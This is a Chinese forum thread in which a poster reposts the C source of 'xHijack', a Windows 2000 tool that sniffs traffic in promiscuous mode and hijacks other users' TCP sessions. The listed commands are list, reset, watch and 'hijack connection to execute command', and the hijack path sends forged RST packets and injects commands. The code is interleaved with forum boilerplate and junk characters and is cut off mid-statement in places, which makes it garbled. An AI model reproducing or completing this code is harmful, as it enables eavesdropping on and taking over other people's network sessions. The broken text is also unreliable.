" T% u: s$ @( |" x, q// ' A# Q) i, m7 v$ M3 s
//功能:重置所有于ACTION有关的标志
  d- M5 K9 e- ~. C//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
& t/ t$ \* D" p1 R" l% A{ ' ]$ H- R  N2 o9 S( B
  g_dwCtrlConn = 0;
0 b; s! t/ c9 |+ w  g_pCurrCtrlConn = NULL; 9 o9 T% M8 V+ H2 k- x
  g_dwAction = ACTION_NONE; " ^0 S* ]% j# D
} : ~3 U* I+ ]% y# R

& M/ Q& g  p1 Q) g+ W) y//
* F+ _$ r) ^" Z- o9 J8 M//功能:处理Ctrl+C和Ctrl+Break事件 : S) y+ I6 |  O# E5 I( W
//
" \) T! U& F2 \2 g# MBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
. T5 m3 K: X! q  ?+ ^! R{
. s4 i7 l% x/ R) C  switch(dwCtrlType)
& I( K+ F% k% }/ g& s  {
8 l" n5 T" i2 H- M( g    case CTRL_BREAK_EVENT: # Q: \1 r( ]$ f$ u& S) N8 F
      //reset action all flag
4 n8 I' B* y, m3 \# J" w- u. @      ResetActionAllFlag(); $ C4 u4 I9 L" V1 `5 |
      break; 6 @4 C, |) O( y7 Q7 Y) v+ W  @
    case CTRL_C_EVENT: 4 o! c& y8 [# b" ?1 t( J8 a
      //terminate all thread . r/ y# {3 a( g! `
      TerminateThread(g_hThread[0], 0);
! ^1 D6 X1 g7 ]1 R7 M      TerminateThread(g_hThread[1], 0);
4 v% u( K, S  G      TerminateThread(g_hThread[2], 0); - ~0 C( S# d' Y, ?  E' V, M2 h) d
      TerminateThread(g_hThread[3], 0); & y# ^0 D+ E4 S8 r+ }
      break;
6 Z4 e3 \  r( E  D4 O    default:
4 ^' o0 _5 i; r1 M      break;
+ W) [, [8 b# h$ ^* E9 R4 I  }
5 ^6 n: g% r/ s' x  return TRUE; " ~& ^7 H% l# M* a
}
/ i# x9 K9 B! w' g2 W" u+ ]" t2 D# o: M
- T: q: _; {2 ]4 y) }* `# C//
) c( U$ `* |: s//功能:处理用户输入
0 t& ]! U4 X; x+ {* j5 k//
: [/ ?+ b7 l! ?5 F: TDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
: {& v" g( Q4 J{ 5 ^  p! t9 i0 ?1 Q% ~: Y* e/ V" S4 v
  DWORD  i;
3 ?; ^; v9 B' E3 r/ U  char  szBuff[16];
& u, f& F6 I: q! T  i; o0 U; X7 D; O. e/ t* A
  *lpCommandPos = 0; & I8 j1 A+ {6 j! m3 p
  for(i=0; i<15, i代码比较乱 8 f' ~% L; q5 Y7 n
//
; q+ g6 F9 k* F) }6 P5 [# j6 _' t! TDWORD WINAPI InterfaceThread(LPVOID lp) % [# p' {! S0 s' Y
{ / M  i5 I/ S1 C# s. o
  char  szHelp[] =  "l\t\t<-- List all connections\n"
. w. @5 m4 T8 M# c' ^  @+ W2 W/ r3 P            "r x\t\t<-- Reset the number x connection\n" 0 C4 b% A) Q! S, y0 A
            "w x\t\t<-- Watch the number x connection\n"
# K  _$ F) A5 R# A            "h x command\t<-- Hijack the number x connection to execute command\n"
: F% }8 r& f% o* e$ [            "[Note]\n" 1 |% _: U% c  F) q# |3 {
            "Ctrl+Break to clear all action\n"
: j* H& h- o# Z: \& E            "Ctrl+C to exit\n";
" S6 w: U% p8 f, F" L7 L  char  szPrompt[] = "\nxHijack>";
8 H; R7 k% V& H. s/ a  char  szBuffer[128]; " W; E- c3 p) j( ^/ P% R$ }. Z( B
  DWORD  dwPos; 6 T! }9 [9 |5 w; S+ t* E# e
  PCONNINFO  pTmp; 8 E$ r# \0 g/ r( S; @5 K

: H! m3 M' a! S0 N6 V$ Q) Z7 x  while(1)   ]8 Z8 |* u% }5 `
  { 5 S) S" f! g; O3 V5 {* C5 N* v
    gets(szBuffer);//不考虑buffer overflow   S# c  h4 @7 t4 \/ I! ?
    switch(szBuffer[0])
& O. F2 B' z2 b    {
7 [5 J8 _$ G0 Q5 s& M! H      case 'l': 3 K5 P9 J0 W7 k& J
      case 'L':
; X2 T/ R- D+ l7 @0 Y4 F" R& i        ListAllConnection(); ) X; z8 y3 q# t% i
        break;
8 Q8 L7 @" w) R3 y! o      case 'r':
4 @6 K+ m2 }0 U8 J      case 'R':   T9 l; R+ p' e1 K/ c! D
        if(strlen(szBuffer) >2) : ?# I& C- I& X* p6 w/ P1 E
        {
1 Q# s" i& X" |          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
9 k4 \& c' F  ~& b+ K          g_dwAction = ACTION_RESET; ) s# r6 R8 |5 A9 d8 s( P
        }
" h7 o, @! F, V& W6 o' a        else printf("%s", szHelp); ; `: U5 G( u6 ?
        break;
9 R, ^. |$ \% y: u) G2 @$ k      case 'w': $ A% Z3 z5 H! U( v4 u
      case 'W': 7 V. H! S" d2 o7 b  |
        if(strlen(szBuffer) > 2)
! H% B5 f: @' E( P7 I! B) a1 F2 ]        {
' ?, m5 o/ r3 i          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); & @5 z$ z8 {# s0 Z) A* o
          g_dwAction = ACTION_WATCH;
: n( G! f0 G% P% y        }
3 `3 u9 @# A+ n/ h4 I# `; f: _        else printf("%s", szHelp);
; p) l7 S! S: q/ S6 [7 L( X  \( i1 o        break;
* T7 |+ G# f5 D8 S      case 'h': ( r8 P5 ?1 }, a& l6 {! O
      case 'H'://h 1 xxx
8 g6 r+ R! [5 ?! H3 \. _        if(strlen(szBuffer) > 5)
0 y5 ~4 T% J9 W        {
% D. ~& |5 [: J+ Y6 P          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
1 ^$ K4 E- g; L7 a          //如果command第一个字符是'或" 4 k5 O, M% _& o# m5 ^# Y
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
$ _8 W# @, W/ X3 a          {
% F4 V& J/ i' X) {- R0 \: d            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
0 l, Q% G: w0 l* [) u( g            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"   K% E' ~! b" c2 ^4 w
          }
* w% j% r$ i9 d. x% {5 w          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
/ w3 O2 I5 b( S; _          strcat(g_szCommand, "\x0D\x0A");
0 E- z+ A( l1 E, j2 \          g_dwAction = ACTION_HIJACK; : [2 j6 k: U' W" }& i- n3 b
        } ; _( `$ l, r6 x2 K, ~+ k
        else printf("%s", szHelp); 7 T' t3 l' g9 e- K5 D3 ^
        break;
& w4 h5 A$ d6 I# P; \      default: 8 [6 z2 \0 c9 P2 {+ H& g
        printf("%s", szHelp);
% F: O/ O$ |0 L4 c% U% |        break; 3 G$ O( [8 u, z
    }//end of switch
. f( E. a& n( ^$ i    //find the specify ident's struct point
& M, @' [2 }+ l3 _3 N    if( (g_dwCtrlConn) && (g_dwAction) )
$ G7 A. B& ^) J) p    {
: w0 v5 V, I) t3 `% @  t      g_pCurrCtrlConn = NULL;
' x6 B# Z- M  `& ^  t. S3 R9 I      pTmp = g_pConnHead;
, c# \+ L2 A9 w5 V* u      while(pTmp) ; t; ^5 X2 V  B. A. Z( b4 L- \
      { 1 Z$ f: T0 _& x% X8 N
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
/ h9 _4 @. u' E! @8 {        { , }- m* S* r7 Z7 v7 T
          g_pCurrCtrlConn = pTmp;
0 }. n( Q# u: ~& ~- h2 ]          break; / E" }% |/ M6 t7 S' {: s9 d$ j! `
        } ! O, t* a, D# {- ^
        pTmp = pTmp->Next;
& e' W2 P$ j5 ~      } ) X3 L0 s7 b) Q8 h- k
      if(!g_pCurrCtrlConn)
! a1 e* o" M% C' j; y0 n      { % l6 A& l( q8 x7 [7 J+ G. `
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
: x7 `5 r: f) R! f7 ~% ^        //reset action all flag ) V; |8 l/ U# U, e7 w
        ResetActionAllFlag();       6 z& S. T0 F; C  t9 [  a4 u- b
      }
1 C0 x0 x% q+ B' V: X9 C  o7 t8 G    }
& I# r0 l. |5 `    if(!g_dwCtrlConn) ResetActionAllFlag(); 9 x: W9 G; |( E* g
    //显示当前用户所期望的动作 ; D7 x3 H1 r/ ~7 _
    printf("\nCurrentAction:"); / ~; ^2 e. ~2 L, t, W0 v7 r
    switch(g_dwAction)
' i* p# c- U: R! a$ o    {
& `6 h; p- _: [: A8 b      case ACTION_WATCH: ' c& m& ~- y1 ]$ Z8 [3 n
        printf("ACTION_WATCH"); 3 Y# @! d! }. e; ^
        break;
& v" P! L) l. U* R* k+ Y2 [5 z( a      case ACTION_RESET:
8 c6 S2 A' I+ M( n* T# t  K        printf("ACTION_RESET"); ; G1 V& ~+ ^! h- q8 o- C
        break;
/ P: T& C  Z8 \  O- M6 R8 A+ _      case ACTION_HIJACK: - z5 |/ o( U; k0 O+ W! V% _
        printf("ACTION_HIJACK");
; B: M- G; n5 Q) [! I7 ]        break;
+ ?# V9 w  t& C9 w4 L* S      default: 1 [# F9 D9 R7 N) }6 U/ X
        printf("ACTION_NONE");
3 O- B0 {  W' S& U$ ~0 M        break;
& l4 N0 e4 K4 b    }
3 O- w& X4 |/ L; q2 _2 Y! k    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); 8 _3 R* v, X" Q$ L9 `& h3 G
  }//enf of while . }7 v, D7 U4 t' I2 w( E
  return 0;
, N8 p% y% m, |# _  Y}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// ! j8 {) A0 f4 g, J' t//功能:列出当前所有连接 8 v [3 H5 O7 d$ x// % M1 F- a9 g X3 [. d8 P void ListAllConnection() 8 Z7 B2 A' u+ F/ F4 T3 P& O{ , V- O4 j/ x! Y! B3 u PCONNINFO pTmp; $ V0 z$ z- U) S6 ?# m SOCKADDR_IN saDest, saSource; 4 } s$ F2 g9 m* \ z1 c pTmp = g_pConnHead; & l3 D' z- l' j9 u- u while(pTmp) , h: G$ [$ [4 b* v5 c { ' x: _7 P5 `1 s1 L# }5 K if(pTmp->bActive) " Z( b8 p( l* @) l9 }6 U1 e. Y { 4 l! a. u" a, p saSource.sin_addr.s_addr = pTmp->dwServerIP; & F8 [; l# C, H" ?4 H0 {/ P9 b2 Y saDest.sin_addr.s_addr = pTmp->dwClientIP; 5 `8 ]9 A7 Q: z. ~ printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 3 e( w. j' K5 B ntohs(pTmp->uServerPort)); ! y3 q- h1 s8 b8 |3 G printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 3 K8 H6 N7 d7 J) X# H* \ } ! \2 E" |4 M* m/ N( s/ E9 d pTmp = pTmp->Next; ! I F& _7 C6 b" l! a! |4 C9 r+ F } 6 ]; ~0 c# ?5 s6 \} : E0 L) r U# g 3 D4 \# i2 O3 P3 }! `% {// 5 m8 O- L& s: F4 [$ P/ B# _5 j! ]: s# [//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 1 V6 ]- U6 V- D9 J9 E! E// , e: B) R8 @2 a2 J6 s LPADAPTER InitAdapter() 3 e8 N" t+ \' t9 l6 y { 5 j4 R3 A5 F5 _# g A- i LPADAPTER lpAdapter; 3 D2 P0 C- J- P. C, {- s' T static char AdapterList[Max_Num_Adapter][1024]; & z' O8 V/ S0 ^- J9 e char szSelectAdapterName[512]; $ ?5 u8 \: K* ^ WCHAR AdapterName[2048]; # r. ~0 f) m7 W' d; H1 Y WCHAR *temp,*temp1; 1 M$ p% O! S9 u, p+ r4 h, E ULONG AdapterLength = 1024; ( R% l9 N; r" g/ `( a! p7 a" f6 h, p& _ int iAdapterNum = 0; 3 R" X5 _% t' ^ int iRetCode, i; " S! V8 s9 e( M. i* ^ a) v2 g( x4 C int iAdapter = 0; 4 {- T. o! J) E+ I* k( w2 f4 x3 o/ [ ULONG ulLen = 0; ' l% Y( b0 w( n; r1 C' a DWORD dwRet; 2 H2 R7 I& Y3 [. {6 u" N PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; % p0 u) d7 I' x: R7 q0 X PIP_ADDR_STRING pIPAddr; 9 N: l6 P0 d- m( O0 T) d% K+ f0 e! {" G7 d //Get The list of Adapter t! }; c3 X7 v4 z2 r if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) . D* z. Q6 j% ]' i8 U/ o { * O" t8 S0 x* x" C: F/ s printf("Unable to retrieve the list of the adapters!\n"); 6 J! T0 X" v7 P! `* @0 ]) W! b return 0; " M* o [8 j$ |1 |9 f } 4 ~+ w7 o' t9 P, w6 V# F temp = temp1 = AdapterName; ) Z$ y0 W0 @9 z. X, Q; j, M# ]+ K i = 0; * O, l( J) r' e3 Q5 o+ l* ^5 i while ((*temp != '\0')||(*(temp-1) != '\0')) : n4 o4 @( [7 N+ M) k# [ { v/ f z1 t3 F if (*temp == '\0') / g9 G% U! k% l- U* h { 1 H3 s: T0 g, u. G' O3 I memcpy(AdapterList,temp1,(temp-temp1)*2); , ^& i4 ?( I: ~% A8 B printf("%d - %S\n", i+1, AdapterList); + G% {( @$ E( x# I; B2 F$ H temp1=temp+1; 9 `0 ]. a2 p" ]' i8 z i++; $ ^* ^- Z' E1 ?, l* @4 H" y } + T) y3 H7 }; y; m+ }9 W i temp++; 6 u7 I( U( {# o3 S$ x' V } * T. k% M; w' V% }4 i //choose adapter : E" y4 w6 L& V9 T$ X while((iAdapter <= 0) || (iAdapter > i)) # ^% A% q8 ^4 ?0 _& J: ?" ] { f) U8 E: o5 |% E8 ~ printf("\nPlease choose your Adapter:"); ! O Q( y2 s" g0 Y/ f scanf("%1d", &iAdapter); 7 z4 s3 {- w7 N, I7 `9 ]1 W# N4 x } 8 |0 U3 Z$ t$ e; f printf("\n"); : z% }: u a" t //---------------------------------------------// 5 j2 D R' L$ Z9 K2 J- y4 ] //这里调用iphlpapi来取得本地ip_addr和mac_addr ' t. b1 W( Z7 X- \9 ?( D sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); $ U3 g7 m/ Q! C! X dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); . [1 p( e# G+ z2 g if(dwRet != ERROR_BUFFER_OVERFLOW) 4 [) K0 |; J( q: R# o { 0 @1 ^$ @2 y6 ]. ? printf("GetAdapterInfo error:%d\n", GetLastError()); # W1 b$ z. q1 m9 T: N return 0; , V4 {* f- b+ Y; ^) f! w f } |' {& u- Q3 P) `: A! y# J pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 2 D- {* Y/ ~0 b2 i4 ?5 Z' G b if(!pAdapterInfo) ; ^+ J/ B y6 Z0 ]6 w% @1 A' g { + k6 N# k( F& B2 Q4 f/ S& r printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 1 Y9 b/ A; |# U! H; Q9 y: @, Z return 0; 7 w2 c$ \% g! G2 P3 J } 9 B: s% |% u. k3 g- Z5 ]- `+ ~ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); # R: U6 r- i1 F5 u/ i5 Z; B2 Q if(dwRet != ERROR_SUCCESS) # v1 c& [: W- b1 @3 e2 Q }1 J { * A( h R, `% v printf("GetAdapterInfo error:%d\n", GetLastError()); * Q4 d7 @* v4 l( j9 t' V, V0 L H return 0; % x/ {" K! `9 i% A( ` } ! K& b) [( W7 M) R pTmp = pAdapterInfo; & U2 v/ X2 r* s$ u0 Z while(pTmp) 9 A0 H1 i" }9 l! g: {+ ` { 5 ]( y) {2 ]3 s- Q: x7 {4 Y1 E //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 3 y; {, O4 t' T& I0 D8 C" j/ W/ u* m { 0 M# a2 g1 T" V6 Q //found it,get own adapter mac address " d+ O' {( k7 N8 ]& ?- i2 P5 B, K memcpy(g_szOwnMAC, pTmp->Address, 6); " C; \& V: t; B+ X6 s$ Y( ] //get ip address $ o9 [% _# _+ Q1 b' q pIPAddr = &pTmp->IpAddressList; % C0 B, v# q$ q/ h while(pIPAddr) * `5 N2 {; c/ Y' P { " Q3 D% A R* ^. Y2 M; e& u g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); / t& e! ]+ t, j" b. d pIPAddr = pIPAddr->Next; . X/ N3 k3 ^8 C. @1 Z, h if(g_TotalIP >= Max_Num_IPAddr) break; $ I9 m+ q/ }; W } / g, Y+ {+ {& B/ }* i3 N1 e break; & y7 D a5 ~% V; _# D } + G" B4 c9 z/ ?8 _ pTmp = pTmp->Next; 4 _: G- ~: Y; O9 R } % O! C% x! ~% p7 g free(pAdapterInfo); ; r5 q* ~7 f& C8 _' ? u5 o: s& [ //not found,return zero # r O$ h/ J1 @3 r, x if( (!pTmp) || (!g_TotalIP) ) return 0; / c) x: D, o% M% W! A //---------------------------------------------// 9 F" f9 [& p# g8 B) j& I* I6 M: q //open adapter + G- E0 D9 z g lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); # m4 ^! Y3 S/ b, A+ ^/ n if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) # X+ h7 O$ y- m { . t1 t, F& p% J iRetCode = GetLastError(); ! N: H2 H7 x1 [1 ^4 k& v% k printf("Unable to open the driver, Error Code : %lx\n", iRetCode); : z$ [ r3 J. R return 0; 5 J% }) D. ?* J+ E, n3 X% q } V6 d3 V8 _+ Q1 `9 Z6 w // set the network adapter in promiscuous mod 4 [( d5 l3 I+ j# C# |& w1 w- j if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) % I# z" T# {2 \8 d' l8 k! ` { 1 H, Q f1 b* O' Q printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ) v0 x- S) ~: f2 ~5 Z1 ] if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ) ]1 g2 ^ r: h { 9 @+ |' b5 E+ X; } printf("Unable to set ALL_LOCAL mode!\n"); ! ?' B; s5 b1 N' X* S; ~: b return 0; # g) r+ t6 o, L; o) z4 V" s5 F/ d } 2 j7 x$ a! y) E% B" I# [ } 7 _5 d) G [! ], N7 {1 J // set a 512K buffer in the driver 6 g1 l; c ~5 N! G if(PacketSetBuff(lpAdapter, 512000) == FALSE) 8 p" s% U0 O, F; L2 o& u1 b; F { , `, W3 [2 c) o; L- x. c9 D# d printf("Unable to set the kernel buffer!\n"); 5 \' n7 Q6 m* ?) c& f5 \% ]/ R return 0; % h, b: H2 o `* g, M8 v- ] } & J; B- Y% g& S7 k8 B/ ] // set a 1 second read timeout : n' d0 t3 i3 M- p. ~* b if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 5 ?" o. W- T9 g" }& D/ g8 W printf("Warning: unable to set the read tiemout!\n"); 2 Z$ T7 J) ]8 S if(PacketSetNumWrites(lpAdapter, 1) == FALSE) `' w% f: k! e! E0 y printf("warning: Unable to send more than one packet in a single write!\n"); / s2 x% D8 r7 L/ U2 K! |, _ //设置发送的packet 0 m X! m* ~: w6 U g_lpSendPacket = PacketAllocatePacket(); " W# m0 X% f: k( L7 Z& p! _ if(g_lpSendPacket == NULL) + [' ^3 k8 e# _! Z { / W( n! N6 l" _0 e3 T7 ~7 A printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); + O4 A' |% L- @ return 0; 7 k9 ~, f" g6 r0 i7 X* @$ I } / |# v( h6 P: z( ^* D ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 8 a9 E$ g0 v) p3 y+ V. Z, ~" N PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 8 \! M0 Q2 H" t8 ] return lpAdapter; 8 g/ ^+ n7 c( H( i9 g# \ h1 C } / |, Y1 ^9 p. I9 d8 Z+ K ( F6 L$ q& G, d//功能:帮助信息 4 f& Z( P( B, K4 j: R# q% W$ c: m void usage() ' |. N! y1 X* |/ _, Y. z1 c{ 5 m* c6 Q8 b; [. Z* q8 f+ ~( E" K" J printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 8 h8 z' {+ O7 D' c- f# | "By eyas 2002/8/19\n" 3 P/ G* x4 K: r1 x% M$ K "http://www.ey4s.org\n" 4 E$ t$ h. Y. k+ B0 A# r* V "Thanks to Refd0m and shotgun\n\n" + ~9 m; ]6 ^( a "Usage: xHijack ServerSide ClientSide\n\n"); 7 o+ [7 e" R2 `& k/ S% H } ) N1 i) ~2 Q$ R" _* `$ Z' ^& U + D+ _ E. k+ q8 N, Q3 l- E// 2 H- D- ?& K# u$ I) y) d D//功能:显示数据包的一些详细信息 5 H" w+ d3 W; A. B" g$ `- x// Y6 b% J6 a1 H. u; _! n- G VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 4 P8 _2 a4 q' z+ J/ r% \{ % p( b9 w }: n. ~4 j/ m* C) V SOCKADDR_IN saDest, saSrc; 3 O/ p( b8 h) d( ?1 M6 P unsigned char FlagMask; $ n, w) J- Y* { int i; 4 k! k( W* x }" d) k- @. i+ Y0 a3 k saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; ) d: g$ h7 F: ?3 [; L saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ' \7 [+ u% M+ R0 |7 P printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 6 S. h3 ~' h: {! M% ^7 ] printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), $ @; Q9 H, t" E4 C8 Z ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); + R5 F" m- \0 ]+ v3 e3 H/ ` //display TCP flag k1 }' ?* P' @ for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 5 t" m: l2 u$ F) q { B" u: u, ~$ P D if((pTCPPacket->tcphdr.th_flag) & FlagMask) 8 Z, s2 D5 g- e/ M7 _: }: l7 z printf("%c", g_szTcpFlag); 9 |/ h) N& W5 T7 u5 g- W% p else printf("-"); 0 T& S7 H# N$ ^2 U } 1 w/ a$ R. X& r6 N7 B printf("\n"); 1 G$ V& \2 @+ Y! c8 i" P //如有需要,可显示更多详细的信息 ) J; S; n6 ^5 p- D4 z& `2 x if(bDetail) 6 H1 ]0 |* k. {8 \/ k printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); $ b6 }; q' e. C' m } : }0 M8 s o U% t% U* n {3 a9 b # j1 j( @3 g; p) j6 c3 S! \// @8 ?3 G3 o# H- C0 | //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 Z8 t1 I2 H! ~; n// 7 w8 s u' s- fDWORD WINAPI AnalysePacketsThread(LPVOID lp) + h2 S/ ?0 [! U# M! |8 H! Z2 [5 t { 5 f) U; T: ?* X! {9 b( R( d ULONG ulBytesReceived; / A( s7 m; V% p4 S' n USHORT usDataLen; ! u' D4 |# J1 D2 ?; Y //USHORT usIPHeadLen, usTCPHeadLen; * \) F' y9 z4 G char *buf; 2 b& n0 b4 |6 q2 V( w u_int off, i; 9 G' d# t! z; Q6 z. @, ~8 N% n PTCPPACKET pTCPPacket; ! r& D+ N. J7 k' M. \# y struct bpf_hdr *hdr; 0 z: @- n3 E; g" r LPPACKET lpRecvPacket; ' j" l+ j) m- v' @# V+ W8 \" Q* d( x char szPacketBuf[256000], *pStr; 6 _( \% L: N: M- K: H u7 r BOOL bDeleteNode, bAddNew; # z3 N$ Y* X" M DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ) ]. b" J; J8 x BOOL bClientToServer;//数据包是否从客户端发送到服务器端 2 o/ U% P K( b9 n' G+ k+ J& F - w( n+ D. ]5 F/ G. f //设置接收的packet 4 [+ d# {* ^: i! M% X lpRecvPacket = PacketAllocatePacket(); & J& I4 b6 V8 ? if(lpRecvPacket == NULL) {' s. q; C( h) r% Q5 ~' l. E { & L9 D A) Q* R) S* X5 F3 c4 J printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 8 V; a6 B9 l: J* G- n8 N return 0; , Z* C0 m( N1 l) F4 S9 `( F } 7 @/ Z0 v4 \+ x& v6 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); ) C' z- Q) U$ t# P* S PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); k v( A' C- I5 B+ d. l, W: h3 C while(1) ) S6 o3 ?% c/ t+ h' L" w* _5 v { 6 C0 ~8 G6 x8 z: O# Q // capture the packets 4 I9 j; K& M& I/ {* I if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ) @$ j3 z- X7 h { 3 ?- c5 Y! l- `: K: f5 K$ j printf("Error: PacketReceivePacket failed.\n"); ; [7 M6 w- R2 }" E break; 7 Y1 \& M; k/ G+ ^5 g } ; q. D; g7 g; k$ G" |3 } ulBytesReceived = lpRecvPacket->ulBytesReceived; % P: q( l$ \& {4 H3 r buf = lpRecvPacket->Buffer; 6 F0 `1 `1 r& Z9 h7 A. ? off = 0; 8 z& r+ L7 _! `7 O" x4 X0 q3 F3 q! o while(off < ulBytesReceived) , m0 `, `4 ?. Z6 g, j% v4 B2 z; q: \ { $ F! G6 B, B& u" c5 U hdr = (struct bpf_hdr *)(buf + off); 2 k- y2 O' a, C1 q X off += hdr->bh_hdrlen; - |# s, F6 V/ J; v9 F pTCPPacket = (PTCPPACKET)(buf + off); 7 z0 F9 S* Y9 ^, U off = Packet_WORDALIGN(off + hdr->bh_caplen); ! A; y$ i, x3 T7 D! K/ p2 G1 O //不需要处理自己发出的包(转发或本机发送的) ' h4 _/ {$ _9 m3 f if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 0 z* J1 J7 N% V$ J$ N% S; ?) S$ s0 { //检查是否IP包 $ y* m# n9 J2 g/ ~2 n if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; $ w; `5 I: L) J! ^( [# A( ?/ T: C1 D //检查是否TCP包 : @$ j1 b8 }& l if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 0 l1 u6 g- ?* I) e( M! J //也不处理DestIP是自己的包 0 x5 h0 N1 J: N5 i8 O0 i0 G7 f, \# p for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
) _5 ^( ^; \4 w3 y6 j" l% Z/ h            //reset action flag ! X- }: l* j* W6 S) H& b
            ResetActionAllFlag();
/ u( i; i. ]' }# v+ b3 F' g          }
" w# c6 n7 C0 a          //start hijack
  h3 r" o; W2 e) }# e$ b" f          else if(g_dwAction == ACTION_HIJACK) 0 j3 K2 T) q  T' X$ K) H
          {
( U: G8 O6 `. U" A            //send rst packet to client
  E3 ^0 O) Y3 l            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
. Q% q* l. L  R6 R; n% [3 l8 O9 t            //send hijack packet to client 1 Y) \$ K. u- N' o" S% N/ q
            SendHiJackPacket(pTCPPacket);
9 ?) [& F7 ]% m: H7 d            //reset action flag 3 v( ~$ b- S3 n. k2 f- b7 d, Y& a0 ]
            ResetActionAllFlag();
" t: f6 c6 l2 X% v0 j          }
5 a: o# `$ F; V# m        }
! N8 D, v  _: V3 B        //show the tcp data 6 W  o3 }! W3 P7 v  t; V
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
$ N: u! m1 D6 L2 n' I- ]6 t        { 9 y& [) k* G7 I! G: f9 a( Z2 T% T
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 0 \: G1 N" |2 l9 H; j, M2 a
          //暂不考虑IP、TCP头不是20字节的情况
* {: f6 g9 A! s5 N! p: {$ h          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 4 _2 G" D# J1 T" [1 x
          pStr = (char *)pTCPPacket + 54;
" a" F- m" Y% o6 v' \  X8 K          for(i=0; i        } 6 O2 T0 V; q, w5 ~/ d- J
      } 0 R' R1 [2 y$ N0 f0 |
      //debug output 2 I  z* ~6 R* o$ j6 T% J
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
* S! U1 q" l& P' c    }//end of analyse packets while / B" R: C/ g0 q! \& M3 s4 z2 S9 x
  }//end of recv packets while
. d, J$ ^, i7 ]# H  PacketFreePacket(lpRecvPacket);
  z5 ?* i2 e) u  return 0;
- q% e6 n1 N- {9 e}
+ \  v( x$ x1 Y3 i9 b2 c- v( x
7 h4 E, p, Z$ }9 E* U: Y5 O3 x. z) H: \0 f  i
// $ S1 \$ `3 u+ ^+ n& s/ E
//功能:操作记录所有连接信息的单向链表 ( |/ W. X% \# x( n; A
// : h$ T. c. o' k0 [8 M3 H
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, , K" N( p2 v  n
